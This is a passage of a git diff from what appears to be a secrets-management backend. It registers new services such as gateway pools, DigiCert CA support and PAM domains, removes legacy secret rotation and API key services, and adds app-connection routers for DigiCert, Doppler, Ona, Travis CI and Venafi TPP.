+  const certificateInventoryViewDAL = certificateInventoryViewDALFactory(db);
   const certificateDAL = certificateDALFactory(db);
   const certificateBodyDAL = certificateBodyDALFactory(db);
   const certificateSecretDAL = certificateSecretDALFactory(db);
@@ -1287,6 +1290,9 @@ export const registerRoutes = async (
   const orgRelayConfigDAL = orgRelayConfigDalFactory(db);
   const relayDAL = relayDalFactory(db);
   const gatewayV2DAL = gatewayV2DalFactory(db);
+  const gatewayEnrollmentTokenDAL = gatewayEnrollmentTokenDALFactory(db);
+  const gatewayPoolDAL = gatewayPoolDalFactory(db);
+  const gatewayPoolMembershipDAL = gatewayPoolMembershipDalFactory(db);
 
   const approvalPolicyDAL = approvalPolicyDALFactory(db);
 
@@ -1374,6 +1380,7 @@ export const registerRoutes = async (
     estEnrollmentConfigDAL,
     acmeEnrollmentConfigDAL,
     scepEnrollmentConfigDAL,
+    scepDynamicChallengeDAL,
     certificateBodyDAL,
     certificateSecretDAL,
     certificateAuthorityDAL,
@@ -1445,6 +1452,7 @@ export const registerRoutes = async (
     relayService,
     orgGatewayConfigV2DAL,
     gatewayV2DAL,
+    gatewayEnrollmentTokenDAL,
     relayDAL,
     permissionService,
     orgDAL,
@@ -1459,6 +1467,16 @@ export const registerRoutes = async (
     pkiDiscoveryConfigDAL
   });
 
+  const gatewayPoolService = gatewayPoolServiceFactory({
+    gatewayPoolDAL,
+    gatewayPoolMembershipDAL,
+    gatewayV2DAL,
+    gatewayV2Service,
+    permissionService,
+    licenseService,
+    identityKubernetesAuthDAL
+  });
+
   const secretSyncQueue = secretSyncQueueFactory({
     queueService,
     secretSyncDAL,
@@ -1518,7 +1536,6 @@ export const registerRoutes = async (
     secretVersionV2BridgeDAL,
     secretV2BridgeDAL,
     secretVersionTagV2BridgeDAL,
-    secretRotationDAL,
     integrationAuthDAL,
     snapshotDAL,
     snapshotSecretV2BridgeDAL,
@@ -1582,7 +1599,6 @@ export const registerRoutes = async (
     projectEnvDAL,
     keyStore,
     licenseService,
-    projectDAL,
     folderDAL,
     accessApprovalPolicyEnvironmentDAL,
     secretApprovalPolicyEnvironmentDAL: sapEnvironmentDAL
@@ -1623,7 +1639,8 @@ export const registerRoutes = async (
     permissionService,
     kmsService,
     folderDAL,
-    secretDAL: secretV2BridgeDAL
+    secretDAL: secretV2BridgeDAL,
+    secretVersionV2BridgeDAL
   });
   const folderService = secretFolderServiceFactory({
     permissionService,
@@ -1810,32 +1827,6 @@ export const registerRoutes = async (
     folderCommitService
   });
 
-  const secretRotationQueue = secretRotationQueueFactory({
-    telemetryService,
-    secretRotationDAL,
-    queue: queueService,
-    secretDAL,
-    secretVersionDAL,
-    projectBotService,
-    secretVersionV2BridgeDAL,
-    secretV2BridgeDAL,
-    folderCommitService,
-    kmsService
-  });
-
-  const secretRotationService = secretRotationServiceFactory({
-    permissionService,
-    secretRotationDAL,
-    secretRotationQueue,
-    projectDAL,
-    licenseService,
-    secretDAL,
-    folderDAL,
-    projectBotService,
-    secretV2BridgeDAL,
-    kmsService
-  });
-
   const integrationService = integrationServiceFactory({
     permissionService,
     folderDAL,
@@ -1949,7 +1940,9 @@ export const registerRoutes = async (
     gatewayV2DAL,
     gatewayDAL,
     kmsService,
-    membershipIdentityDAL
+    membershipIdentityDAL,
+    gatewayPoolService,
+    gatewayPoolDAL
   });
   const identityGcpAuthService = identityGcpAuthServiceFactory({
     identityDAL,
@@ -2104,6 +2097,11 @@ export const registerRoutes = async (
     permissionService
   });
 
+  const certificateInventoryViewService = certificateInventoryViewServiceFactory({
+    certificateInventoryViewDAL,
+    permissionService
+  });
+
   const certificateCleanupQueue = certificateCleanupQueueFactory({
     db,
     queueService,
@@ -2314,7 +2312,6 @@ export const registerRoutes = async (
     appConnectionService,
     kmsService,
     permissionService,
-    projectDAL,
     orgDAL,
     folderDAL,
     secretSyncQueue,
@@ -2336,7 +2333,6 @@ export const registerRoutes = async (
   const kmipOperationService = kmipOperationServiceFactory({
     kmsService,
     kmsDAL,
-    projectDAL,
     kmipClientDAL,
     permissionService
   });
@@ -2365,6 +2361,19 @@ export const registerRoutes = async (
     gatewayV2Service
   });
 
+  const insightsService = insightsServiceFactory({
+    permissionService,
+    licenseService,
+    auditLogDAL,
+    secretRotationV2DAL,
+    reminderDAL,
+    folderDAL,
+    secretV2BridgeDAL,
+    projectBotService,
+    userDAL,
+    keyStore
+  });
+
   const pkiSyncQueue = pkiSyncQueueFactory({
     queueService,
     kmsService,
@@ -2474,7 +2483,10 @@ export const registerRoutes = async (
     pkiSubscriberDAL,
     projectDAL,
     pkiSyncDAL,
-    pkiSyncQueue
+    pkiSyncQueue,
+    certificateRequestDAL,
+    resourceMetadataDAL,
+    gatewayV2Service
   });
 
   const certificateEstService = certificateEstServiceFactory({
@@ -2519,6 +2531,18 @@ export const registerRoutes = async (
     pkiAlertV2Queue
   });
 
+  const digicertCaFns = DigiCertCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL
+  });
+
   const certificateRequestService = certificateRequestServiceFactory({
     certificateRequestDAL,
     certificateDAL,
@@ -2543,8 +2567,10 @@ export const registerRoutes = async (
     pkiSyncQueue,
     certificateProfileDAL,
     certificateRequestService,
+    certificateRequestDAL,
     resourceMetadataDAL,
-    pkiAlertV2Queue
+    pkiAlertV2Queue,
+    gatewayV2Service
   });
 
   const certificateApprovalService = certificateApprovalServiceFactory({
@@ -2618,10 +2644,22 @@ export const registerRoutes = async (
     auditLogService
   });
 
+  const digicertCaQueue = digicertCertificateAuthorityQueueServiceFactory({
+    queueService,
+    certificateRequestDAL,
+    certificateRequestService,
+    certificateAuthorityDAL,
+    appConnectionDAL,
+    kmsService,
+    resourceMetadataDAL,
+    digicertFns: digicertCaFns
+  });
+
   const certificateEstV3Service = certificateEstV3ServiceFactory({
     certificateV3Service,
     certificateAuthorityDAL,
     certificateAuthorityCertDAL,
+    certificateDAL,
     projectDAL,
     kmsService,
     licenseService,
@@ -2634,7 +2672,9 @@ export const registerRoutes = async (
     certificateV3Service,
     certificateProfileDAL,
     scepEnrollmentConfigDAL,
+    scepDynamicChallengeDAL,
     scepTransactionDAL,
+    certificateDAL,
     certificateAuthorityDAL,
     certificateAuthorityCertDAL,
     certificateRequestDAL,
@@ -2646,7 +2686,8 @@ export const registerRoutes = async (
     certificatePolicyService,
     certificateRequestService,
     certificateIssuanceQueue,
-    auditLogService
+    auditLogService,
+    permissionService
   });
 
   const acmeChallengeService = pkiAcmeChallengeServiceFactory({
@@ -2731,7 +2772,6 @@ export const registerRoutes = async (
   const pkiDiscoveryService = pkiDiscoveryServiceFactory({
     pkiDiscoveryConfigDAL,
     pkiDiscoveryScanHistoryDAL,
-    projectDAL,
     permissionService,
     gatewayV2DAL,
     queuePkiDiscoveryScan: pkiDiscoveryQueue.queuePkiDiscoveryScan
@@ -2814,6 +2854,7 @@ export const registerRoutes = async (
   });
 
   const pamFolderDAL = pamFolderDALFactory(db);
+  const pamDomainDAL = pamDomainDALFactory(db);
   const pamResourceFavoriteDAL = pamResourceFavoriteDALFactory(db);
   const pamAccountDAL = pamAccountDALFactory(db);
   const pamAccountPolicyDAL = pamAccountPolicyDALFactory(db);
@@ -2841,6 +2882,7 @@ export const registerRoutes = async (
   const pamResourceService = pamResourceServiceFactory({
     pamResourceDAL,
     pamResourceFavoriteDAL,
+    pamDomainDAL,
     pamAccountDAL,
     permissionService,
     kmsService,
@@ -2849,6 +2891,15 @@ export const registerRoutes = async (
     appConnectionDAL
   });
 
+  const pamDomainService = pamDomainServiceFactory({
+    pamDomainDAL,
+    pamResourceDAL,
+    permissionService,
+    kmsService,
+    gatewayV2Service,
+    resourceMetadataDAL
+  });
+
   const pamResourceRotationRulesService = pamResourceRotationRulesServiceFactory({
     pamResourceRotationRulesDAL,
     pamResourceDAL,
@@ -2884,6 +2935,7 @@ export const registerRoutes = async (
 
   const pamAccountService = pamAccountServiceFactory({
     pamAccountDAL,
+    pamDomainDAL,
     pamAccountPolicyDAL,
     pamResourceRotationRulesDAL,
     gatewayV2Service,
@@ -2902,7 +2954,8 @@ export const registerRoutes = async (
     approvalPolicyDAL,
     pamSessionExpirationService,
     resourceMetadataDAL,
-    pamAccountDependenciesDAL
+    pamAccountDependenciesDAL,
+    keyStore
   });
 
   const pamAccountRotation = pamAccountRotationServiceFactory({
@@ -2923,6 +2976,7 @@ export const registerRoutes = async (
 
   const pamWebAccessService = pamWebAccessServiceFactory({
     pamAccountDAL,
+    pamAccountPolicyDAL,
     pamResourceDAL,
     permissionService,
     auditLogService,
@@ -2946,6 +3000,7 @@ export const registerRoutes = async (
     pamDiscoverySourceAccountsDAL,
     pamDiscoverySourceDependenciesDAL,
     pamAccountDependenciesDAL,
+    pamDomainDAL,
     pamResourceDAL,
     pamAccountDAL,
     kmsService,
@@ -3010,7 +3065,7 @@ export const registerRoutes = async (
     gatewayService,
     kmsService,
     appConnectionService,
-    vaultExternalMigrationConfigDAL,
+    externalMigrationConfigDAL,
     secretService,
     auditLogService,
     gatewayV2Service
@@ -3068,6 +3123,7 @@ export const registerRoutes = async (
   await pkiAlertV2Queue.init();
   await certificateCleanupQueue.init();
   await certificateV3Queue.init();
+  await digicertCaQueue.init();
   await caAutoRenewalQueue.startDailyAutoRenewalJob();
   await microsoftTeamsService.start();
   await eventBusService.init();
@@ -3085,7 +3141,6 @@ export const registerRoutes = async (
     org: orgService,
     subOrganization: subOrgService,
     oidc: oidcService,
-    apiKey: apiKeyService,
     authToken: tokenService,
     superAdmin: superAdminService,
     offlineUsageReport: offlineUsageReportService,
@@ -3126,7 +3181,6 @@ export const registerRoutes = async (
     accessApprovalRequest: accessApprovalRequestService,
     secretApprovalPolicy: secretApprovalPolicyService,
     secretApprovalRequest: secretApprovalRequestService,
-    secretRotation: secretRotationService,
     dynamicSecret: dynamicSecretService,
     dynamicSecretLease: dynamicSecretLeaseService,
     emailDomain: emailDomainService,
@@ -3137,6 +3191,7 @@ export const registerRoutes = async (
     auditLogStream: auditLogStreamService,
     certificate: certificateService,
     certificateCleanup: certificateCleanupService,
+    certificateInventoryView: certificateInventoryViewService,
     certificateV3: certificateV3Service,
     certificateRequest: certificateRequestService,
     certificateEstV3: certificateEstV3Service,
@@ -3189,9 +3244,11 @@ export const registerRoutes = async (
     gateway: gatewayService,
     relay: relayService,
     gatewayV2: gatewayV2Service,
+    gatewayPool: gatewayPoolService,
     secretRotationV2: secretRotationV2Service,
     microsoftTeams: microsoftTeamsService,
     assumePrivileges: assumePrivilegeService,
+    insights: insightsService,
     githubOrgSync: githubOrgSyncConfigService,
     folderCommit: folderCommitService,
     secretScanningV2: secretScanningV2Service,
@@ -3202,6 +3259,7 @@ export const registerRoutes = async (
     notification: notificationService,
     pamFolder: pamFolderService,
     pamResource: pamResourceService,
+    pamDomain: pamDomainService,
     pamResourceRotationRules: pamResourceRotationRulesService,
     pamAccount: pamAccountService,
     pamAccountPolicy: pamAccountPolicyService,
@@ -3209,8 +3267,6 @@ export const registerRoutes = async (
     pamWebAccess: pamWebAccessService,
     pamDiscoverySource: pamDiscoverySourceService,
     mfaSession: mfaSessionService,
-    upgradePath: upgradePathService,
-
     membershipUser: membershipUserService,
     membershipIdentity: membershipIdentityService,
     membershipGroup: membershipGroupService,
@@ -3357,7 +3413,13 @@ export const registerRoutes = async (
     },
     { prefix: "/api/v2" }
   );
-  await server.register(registerV3Routes, { prefix: "/api/v3" });
+  await server.register(
+    async (v3Server) => {
+      await v3Server.register(registerV3EERoutes);
+      await v3Server.register(registerV3Routes);
+    },
+    { prefix: "/api/v3" }
+  );
   await server.register(registerV4Routes, { prefix: "/api/v4" });
 
   // Note: This is a special route for BDD tests. It's only available in development mode and only for BDD tests.
diff --git a/backend/src/server/routes/sanitizedSchemas.ts b/backend/src/server/routes/sanitizedSchemas.ts
index 226f17fff1a..e156b3e9516 100644
--- a/backend/src/server/routes/sanitizedSchemas.ts
+++ b/backend/src/server/routes/sanitizedSchemas.ts
@@ -113,6 +113,7 @@ export const SanitizedUserSchema = UsersSchema.pick({
   isEmailVerified: true,
   firstName: true,
   lastName: true,
+  authMethods: true,
   id: true
 }).extend({
   publicKey: z.string().nullable().optional()
diff --git a/backend/src/server/routes/v1/app-connection-routers/app-connection-endpoints.ts b/backend/src/server/routes/v1/app-connection-routers/app-connection-endpoints.ts
index 08178345eb1..912a8876860 100644
--- a/backend/src/server/routes/v1/app-connection-routers/app-connection-endpoints.ts
+++ b/backend/src/server/routes/v1/app-connection-routers/app-connection-endpoints.ts
@@ -54,7 +54,8 @@ export const registerAppConnectionEndpoints = <T extends TAppConnection, I exten
     [AppConnection.MsSql]: "MsSql",
     [AppConnection.MySql]: "MySql",
     [AppConnection.OracleDB]: "OracleDb",
-    [AppConnection.MongoDB]: "MongoDb"
+    [AppConnection.MongoDB]: "MongoDb",
+    [AppConnection.TravisCI]: "TravisCI"
   };
   const appNameForOpId =
     specialCases[app] ??
diff --git a/backend/src/server/routes/v1/app-connection-routers/app-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/app-connection-router.ts
index c41970b5c8d..0971a576339 100644
--- a/backend/src/server/routes/v1/app-connection-routers/app-connection-router.ts
+++ b/backend/src/server/routes/v1/app-connection-routers/app-connection-router.ts
@@ -74,6 +74,10 @@ import {
   SanitizedDatabricksConnectionSchema
 } from "@app/services/app-connection/databricks";
 import { DbtConnectionListItemSchema, SanitizedDbtConnectionSchema } from "@app/services/app-connection/dbt";
+import {
+  DigiCertConnectionListItemSchema,
+  SanitizedDigiCertConnectionSchema
+} from "@app/services/app-connection/digicert";
 import {
   DigitalOceanConnectionListItemSchema,
   SanitizedDigitalOceanConnectionSchema
@@ -82,6 +86,10 @@ import {
   DNSMadeEasyConnectionListItemSchema,
   SanitizedDNSMadeEasyConnectionSchema
 } from "@app/services/app-connection/dns-made-easy/dns-made-easy-connection-schema";
+import {
+  DopplerConnectionListItemSchema,
+  SanitizedDopplerConnectionSchema
+} from "@app/services/app-connection/doppler/doppler-connection-schema";
 import {
   ExternalInfisicalConnectionListItemSchema,
   SanitizedExternalInfisicalConnectionSchema
@@ -131,6 +139,7 @@ import {
   SanitizedOctopusDeployConnectionSchema
 } from "@app/services/app-connection/octopus-deploy";
 import { OktaConnectionListItemSchema, SanitizedOktaConnectionSchema } from "@app/services/app-connection/okta";
+import { OnaConnectionListItemSchema, SanitizedOnaConnectionSchema } from "@app/services/app-connection/ona";
 import {
   OpenRouterConnectionListItemSchema,
   SanitizedOpenRouterConnectionSchema
@@ -162,7 +171,15 @@ import {
   SanitizedTerraformCloudConnectionSchema,
   TerraformCloudConnectionListItemSchema
 } from "@app/services/app-connection/terraform-cloud";
+import {
+  SanitizedTravisCIConnectionSchema,
+  TravisCIConnectionListItemSchema
+} from "@app/services/app-connection/travis-ci";
 import { SanitizedVenafiConnectionSchema, VenafiConnectionListItemSchema } from "@app/services/app-connection/venafi";
+import {
+  SanitizedVenafiTppConnectionSchema,
+  VenafiTppConnectionListItemSchema
+} from "@app/services/app-connection/venafi-tpp";
 import { SanitizedVercelConnectionSchema, VercelConnectionListItemSchema } from "@app/services/app-connection/vercel";
 import {
   SanitizedWindmillConnectionSchema,
@@ -227,8 +244,13 @@ const SanitizedAppConnectionSchema = z.union([
   ...SanitizedAnthropicConnectionSchema.options,
   ...SanitizedAzureEntraIdConnectionSchema.options,
   ...SanitizedVenafiConnectionSchema.options,
+  ...SanitizedVenafiTppConnectionSchema.options,
   ...SanitizedExternalInfisicalConnectionSchema.options,
-  ...SanitizedNetScalerConnectionSchema.options
+  ...SanitizedNetScalerConnectionSchema.options,
+  ...SanitizedDopplerConnectionSchema.options,
+  ...SanitizedOnaConnectionSchema.options,
+  ...SanitizedDigiCertConnectionSchema.options,
+  ...SanitizedTravisCIConnectionSchema.options
 ]);
 
 const AppConnectionOptionsSchema = z.discriminatedUnion("app", [
@@ -285,9 +307,14 @@ const AppConnectionOptionsSchema = z.discriminatedUnion("app", [
   OpenRouterConnectionListItemSchema,
   AzureEntraIdConnectionListItemSchema,
   VenafiConnectionListItemSchema,
+  VenafiTppConnectionListItemSchema,
   ExternalInfisicalConnectionListItemSchema,
+  DopplerConnectionListItemSchema,
   NetScalerConnectionListItemSchema,
-  AnthropicConnectionListItemSchema
+  AnthropicConnectionListItemSchema,
+  OnaConnectionListItemSchema,
+  DigiCertConnectionListItemSchema,
+  TravisCIConnectionListItemSchema
 ]);
 
 export const registerAppConnectionRouter = async (server: FastifyZodProvider) => {
diff --git a/backend/src/server/routes/v1/app-connection-routers/aws-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/aws-connection-router.ts
index 92eedb1165d..4dc0abf38a7 100644
--- a/backend/src/server/routes/v1/app-connection-routers/aws-connection-router.ts
+++ b/backend/src/server/routes/v1/app-connection-routers/aws-connection-router.ts
@@ -94,7 +94,12 @@ export const registerAwsConnectionRouter = async (server: FastifyZodProvider) =>
         req.permission
       );
 
-      return { iamUsers };
+      return {
+        iamUsers: iamUsers.map((user) => ({
+          UserName: user.UserName ?? "",
+          Arn: user.Arn ?? ""
+        }))
+      };
     }
   });
 };
diff --git a/backend/src/server/routes/v1/app-connection-routers/digicert-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/digicert-connection-router.ts
new file mode 100644
index 00000000000..05ad021b4cb
--- /dev/null
+++ b/backend/src/server/routes/v1/app-connection-routers/digicert-connection-router.ts
@@ -0,0 +1,81 @@
+import z from "zod";
+
+import { readLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  CreateDigiCertConnectionSchema,
+  SanitizedDigiCertConnectionSchema,
+  UpdateDigiCertConnectionSchema
+} from "@app/services/app-connection/digicert/digicert-connection-schemas";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+import { registerAppConnectionEndpoints } from "./app-connection-endpoints";
+
+export const registerDigiCertConnectionRouter = async (server: FastifyZodProvider) => {
+  registerAppConnectionEndpoints({
+    app: AppConnection.DigiCert,
+    server,
+    sanitizedResponseSchema: SanitizedDigiCertConnectionSchema,
+    createSchema: CreateDigiCertConnectionSchema,
+    updateSchema: UpdateDigiCertConnectionSchema
+  });
+
+  server.route({
+    method: "GET",
+    url: `/:connectionId/organizations`,
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listDigiCertOrganizations",
+      params: z.object({
+        connectionId: z.string().uuid()
+      }),
+      response: {
+        200: z
+          .object({
+            id: z.number(),
+            name: z.string(),
+            displayName: z.string().optional(),
+            status: z.string().optional()
+          })
+          .array()
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { connectionId } = req.params;
+      return server.services.appConnection.digicert.listOrganizations(connectionId, req.permission);
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: `/:connectionId/products`,
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listDigiCertProducts",
+      params: z.object({
+        connectionId: z.string().uuid()
+      }),
+      response: {
+        200: z
+          .object({
+            nameId: z.string(),
+            name: z.string(),
+            type: z.string().optional(),
+            validationType: z.string().optional()
+          })
+          .array()
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { connectionId } = req.params;
+      return server.services.appConnection.digicert.listProducts(connectionId, req.permission);
+    }
+  });
+};
diff --git a/backend/src/server/routes/v1/app-connection-routers/doppler-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/doppler-connection-router.ts
new file mode 100644
index 00000000000..12dc6932b94
--- /dev/null
+++ b/backend/src/server/routes/v1/app-connection-routers/doppler-connection-router.ts
@@ -0,0 +1,18 @@
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  CreateDopplerConnectionSchema,
+  SanitizedDopplerConnectionSchema,
+  UpdateDopplerConnectionSchema
+} from "@app/services/app-connection/doppler/doppler-connection-schema";
+
+import { registerAppConnectionEndpoints } from "./app-connection-endpoints";
+
+export const registerDopplerConnectionRouter = async (server: FastifyZodProvider) => {
+  registerAppConnectionEndpoints({
+    app: AppConnection.Doppler,
+    server,
+    sanitizedResponseSchema: SanitizedDopplerConnectionSchema,
+    createSchema: CreateDopplerConnectionSchema,
+    updateSchema: UpdateDopplerConnectionSchema
+  });
+};
diff --git a/backend/src/server/routes/v1/app-connection-routers/index.ts b/backend/src/server/routes/v1/app-connection-routers/index.ts
index 0755d814e21..e6a9250160d 100644
--- a/backend/src/server/routes/v1/app-connection-routers/index.ts
+++ b/backend/src/server/routes/v1/app-connection-routers/index.ts
@@ -21,8 +21,10 @@ import { registerCircleCIConnectionRouter } from "./circleci-connection-router";
 import { registerCloudflareConnectionRouter } from "./cloudflare-connection-router";
 import { registerDatabricksConnectionRouter } from "./databricks-connection-router";
 import { registerDbtConnectionRouter } from "./dbt-connection-router";
+import { registerDigiCertConnectionRouter } from "./digicert-connection-router";
 import { registerDigitalOceanConnectionRouter } from "./digital-ocean-connection-router";
 import { registerDNSMadeEasyConnectionRouter } from "./dns-made-easy-connection-router";
+import { registerDopplerConnectionRouter } from "./doppler-connection-router";
 import { registerExternalInfisicalConnectionRouter } from "./external-infisical-connection-router";
 import { registerFlyioConnectionRouter } from "./flyio-connection-router";
 import { registerGcpConnectionRouter } from "./gcp-connection-router";
@@ -42,6 +44,7 @@ import { registerNetScalerConnectionRouter } from "./netscaler-connection-router
 import { registerNorthflankConnectionRouter } from "./northflank-connection-router";
 import { registerOctopusDeployConnectionRouter } from "./octopus-deploy-connection-router";
 import { registerOktaConnectionRouter } from "./okta-connection-router";
+import { registerOnaConnectionRouter } from "./ona-connection-router";
 import { registerOpenRouterConnectionRouter } from "./open-router-connection-router";
 import { registerPostgresConnectionRouter } from "./postgres-connection-router";
 import { registerRailwayConnectionRouter } from "./railway-connection-router";
@@ -52,7 +55,9 @@ import { registerSshConnectionRouter } from "./ssh-connection-router";
 import { registerSupabaseConnectionRouter } from "./supabase-connection-router";
 import { registerTeamCityConnectionRouter } from "./teamcity-connection-router";
 import { registerTerraformCloudConnectionRouter } from "./terraform-cloud-router";
+import { registerTravisCIConnectionRouter } from "./travis-ci-connection-router";
 import { registerVenafiConnectionRouter } from "./venafi-connection-router";
+import { registerVenafiTppConnectionRouter } from "./venafi-tpp-connection-router";
 import { registerVercelConnectionRouter } from "./vercel-connection-router";
 import { registerWindmillConnectionRouter } from "./windmill-connection-router";
 import { registerZabbixConnectionRouter } from "./zabbix-connection-router";
@@ -114,7 +119,12 @@ export const APP_CONNECTION_REGISTER_ROUTER_MAP: Record<AppConnection, (server:
     [AppConnection.CircleCI]: registerCircleCIConnectionRouter,
     [AppConnection.AzureEntraId]: registerAzureEntraIdConnectionRouter,
     [AppConnection.Venafi]: registerVenafiConnectionRouter,
+    [AppConnection.VenafiTpp]: registerVenafiTppConnectionRouter,
     [AppConnection.ExternalInfisical]: registerExternalInfisicalConnectionRouter,
+    [AppConnection.Doppler]: registerDopplerConnectionRouter,
     [AppConnection.NetScaler]: registerNetScalerConnectionRouter,
-    [AppConnection.Anthropic]: registerAnthropicConnectionRouter
+    [AppConnection.Anthropic]: registerAnthropicConnectionRouter,
+    [AppConnection.Ona]: registerOnaConnectionRouter,
+    [AppConnection.DigiCert]: registerDigiCertConnectionRouter,
+    [AppConnection.TravisCI]: registerTravisCIConnectionRouter
   };
diff --git a/backend/src/server/routes/v1/app-connection-routers/ona-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/ona-connection-router.ts
new file mode 100644
index 00000000000..10192fd14cf
--- /dev/null
+++ b/backend/src/server/routes/v1/app-connection-routers/ona-connection-router.ts
@@ -0,0 +1,54 @@
+import z from "zod";
+
+import { readLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  CreateOnaConnectionSchema,
+  SanitizedOnaConnectionSchema,
+  UpdateOnaConnectionSchema
+} from "@app/services/app-connection/ona";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+import { registerAppConnectionEndpoints } from "./app-connection-endpoints";
+
+export const registerOnaConnectionRouter = async (server: FastifyZodProvider) => {
+  registerAppConnectionEndpoints({
+    app: AppConnection.Ona,
+    server,
+    sanitizedResponseSchema: SanitizedOnaConnectionSchema,
+    createSchema: CreateOnaConnectionSchema,
+    updateSchema: UpdateOnaConnectionSchema
+  });
+
+  // The below endpoints are not exposed and for Infisical App use
+  server.route({
+    method: "GET",
+    url: `/:connectionId/projects`,
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listOnaProjects",
+      params: z.object({
+        connectionId: z.string().uuid()
+      }),
+      response: {
+        200: z
+          .object({
+            id: z.string(),
+            name: z.string()
+          })
+          .array()
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { connectionId } = req.params;
+
+      const projects = await server.services.appConnection.ona.listProjects(connectionId, req.permission);
+
+      return projects;
+    }
+  });
+};
diff --git a/backend/src/server/routes/v1/app-connection-routers/travis-ci-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/travis-ci-connection-router.ts
new file mode 100644
index 00000000000..9aac4a68810
--- /dev/null
+++ b/backend/src/server/routes/v1/app-connection-routers/travis-ci-connection-router.ts
@@ -0,0 +1,93 @@
+import z from "zod";
+
+import { readLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  CreateTravisCIConnectionSchema,
+  SanitizedTravisCIConnectionSchema,
+  UpdateTravisCIConnectionSchema
+} from "@app/services/app-connection/travis-ci";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+import { registerAppConnectionEndpoints } from "./app-connection-endpoints";
+
+export const registerTravisCIConnectionRouter = async (server: FastifyZodProvider) => {
+  registerAppConnectionEndpoints({
+    app: AppConnection.TravisCI,
+    server,
+    sanitizedResponseSchema: SanitizedTravisCIConnectionSchema,
+    createSchema: CreateTravisCIConnectionSchema,
+    updateSchema: UpdateTravisCIConnectionSchema
+  });
+
+  // The below endpoints are not exposed and for Infisical App use
+  server.route({
+    method: "GET",
+    url: `/:connectionId/repositories`,
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listTravisCIRepositories",
+      params: z.object({
+        connectionId: z.string().uuid()
+      }),
+      response: {
+        200: z
+          .object({
+            id: z.string(),
+            name: z.string(),
+            slug: z.string()
+          })
+          .array()
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { connectionId } = req.params;
+
+      const repositories = await server.services.appConnection.travisCI.listRepositories(connectionId, req.permission);
+
+      return repositories;
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: `/:connectionId/branches`,
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listTravisCIBranches",
+      params: z.object({
+        connectionId: z.string().uuid()
+      }),
+      querystring: z.object({
+        repositoryId: z.string().min(1, "Repository ID is required")
+      }),
+      response: {
+        200: z
+          .object({
+            name: z.string(),
+            isDefault: z.boolean()
+          })
+          .array()
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { connectionId } = req.params;
+      const { repositoryId } = req.query;
+
+      const branches = await server.services.appConnection.travisCI.listBranches(
+        connectionId,
+        repositoryId,
+        req.permission
+      );
+
+      return branches;
+    }
+  });
+};
diff --git a/backend/src/server/routes/v1/app-connection-routers/venafi-tpp-connection-router.ts b/backend/src/server/routes/v1/app-connection-routers/venafi-tpp-connection-router.ts
new file mode 100644
index 00000000000..5789a963337
--- /dev/null
+++ b/backend/src/server/routes/v1/app-connection-routers/venafi-tpp-connection-router.ts
@@ -0,0 +1,18 @@
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  CreateVenafiTppConnectionSchema,
+  SanitizedVenafiTppConnectionSchema,
+  UpdateVenafiTppConnectionSchema
+} from "@app/services/app-connection/venafi-tpp";
+
+import { registerAppConnectionEndpoints } from "./app-connection-endpoints";
+
+export const registerVenafiTppConnectionRouter = async (server: FastifyZodProvider) => {
+  registerAppConnectionEndpoints({
+    app: AppConnection.VenafiTpp,
+    server,
+    sanitizedResponseSchema: SanitizedVenafiTppConnectionSchema,
+    createSchema: CreateVenafiTppConnectionSchema,
+    updateSchema: UpdateVenafiTppConnectionSchema
+  });
+};
diff --git a/backend/src/server/routes/v1/certificate-authority-routers/aws-acm-public-ca-certificate-authority-router.ts b/backend/src/server/routes/v1/certificate-authority-routers/aws-acm-public-ca-certificate-authority-router.ts
new file mode 100644
index 00000000000..d916752b210
--- /dev/null
+++ b/backend/src/server/routes/v1/certificate-authority-routers/aws-acm-public-ca-certificate-authority-router.ts
@@ -0,0 +1,18 @@
+import {
+  AwsAcmPublicCaCertificateAuthoritySchema,
+  CreateAwsAcmPublicCaCertificateAuthoritySchema,
+  UpdateAwsAcmPublicCaCertificateAuthoritySchema
+} from "@app/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-schemas";
+import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
+
+import { registerCertificateAuthorityEndpoints } from "./certificate-authority-endpoints";
+
+export const registerAwsAcmPublicCaCertificateAuthorityRouter = async (server: FastifyZodProvider) => {
+  registerCertificateAuthorityEndpoints({
+    caType: CaType.AWS_ACM_PUBLIC_CA,
+    server,
+    responseSchema: AwsAcmPublicCaCertificateAuthoritySchema,
